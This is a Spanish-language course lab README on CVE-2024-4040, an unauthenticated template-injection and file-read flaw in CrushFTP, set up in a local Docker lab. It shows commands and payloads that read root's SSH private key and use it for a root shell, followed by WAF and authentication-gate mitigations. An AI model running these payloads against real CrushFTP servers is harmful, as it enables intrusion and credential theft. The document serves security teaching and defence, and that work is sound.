
Exploit de prueba de concepto para CVE-2024-4040, que demuestra SSTI no autenticado y lectura de archivos local en CrushFTP, con laboratorio Docker y estrategias de mitigación.
Solo para uso educativo y en laboratorio autorizado.
Para el módulo CS443 Software and Systems Security. El laboratorio se realizó en un entorno Docker local controlado.
| Campo | Detalle |
|---|---|
| CVE | CVE-2024-4040 |
| Software afectado | CrushFTP < 10.7.1 (rama v10) / < 11.1.0 (rama v11) |
| Tipo de vulnerabilidad | Inyección de plantillas del lado del servidor (SSTI) → Lectura local de archivos no autenticada |
| Puntuación CVSS | 9.8 Crítico |
| Impacto | Los atacantes no autenticados pueden leer archivos arbitrarios del sistema de archivos del servidor |
La WebInterface de CrushFTP evalúa expresiones de plantilla en el parámetro path del comando zip sin saneamiento. Un atacante no autenticado puede obtener cookies de sesión anónimas y luego usarlas para enviar payloads de plantilla ({working_dir}, <INCLUDE>…</INCLUDE>) que el servidor evalúa y devuelve, lo que permite la lectura arbitraria de archivos en todo el host.
| Componente | Valor |
|---|---|
| Objetivo | http://localhost:8080 |
| Versión base del PoC de CrushFTP | 10.3.0 (intencionalmente vulnerable) |
| Entorno de prueba de la Mitigación 3 | Contenedor separado que ejecuta CrushFTP 11.x (rama parcheada) |
| Puerto SSH (contenedor) | 2222 → 22 |
| Credenciales de administrador | admin / admin |
| Runtime de contenedor | Docker (Compose) |
pip install requests rich
| Script | Fuente | Propósito |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Exploit SSTI/LFI completo: robo de sesión, lectura arbitraria de archivos |
recon.py | Este repositorio | Detección de versión, prueba SSTI en vivo, confirmación de vulnerabilidad |
docker-compose up -d
Espere ~10 segundos para que CrushFTP se inicialice por completo antes de ejecutar los scripts.
Aquí no se requiere un paso de reconocimiento separado porque crushed.py ya comprueba si la explotación es posible durante su ejecución.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
El script:
CrushAuth / currentAuth desde /WebInterface/{working_dir} para resolver el directorio de instalación de CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> para leer el archivo objetivoCopie el bloque de clave privada de la salida (todo desde -----BEGIN OPENSSH PRIVATE KEY----- hasta -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
| Problema | Ubicación | Detalles |
|---|---|---|
| Dependencia faltante | Líneas 6–9 | Requiere pip install rich antes de ejecutarse |
| Análisis XML frágil | Líneas 86, 140 | Se bloquea con respuestas del servidor no XML; sin manejo de ParseError |
| Expresión regular de token demasiado estricta | Líneas 160–161 | El patrón CrushAuth=…; currentAuth=… puede no coincidir con todos los formatos de sessions.obj |
| Solo HTTP 404 | Línea 53 | La captura de cookies solo tiene éxito en 404; falla silenciosamente en otros códigos de estado |
Un WAF actúa como proxy inverso que inspecciona el tráfico HTTP/S entrante antes de que llegue a CrushFTP. Usando NGINX con ModSecurity, las solicitudes maliciosas que explotan CVE-2024-4040 se bloquean en el borde de la red sin modificar CrushFTP en sí.
../, %2e%2e) en las URI de solicitud y cookiesUse Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Use Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
CVE-2024-4040 es explotable sin autenticación. En este laboratorio, el acceso de tipo anónimo se bloquea en la capa de NGINX al requerir una cabecera Authorization antes de enviar rutas sensibles a CrushFTP mediante proxy.
crushed.py dependen del acceso no autenticado; las solicitudes sin credenciales se rechazan con 401/WebInterface/ y / se deniegan a menos que estén presentes datos de autenticaciónservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"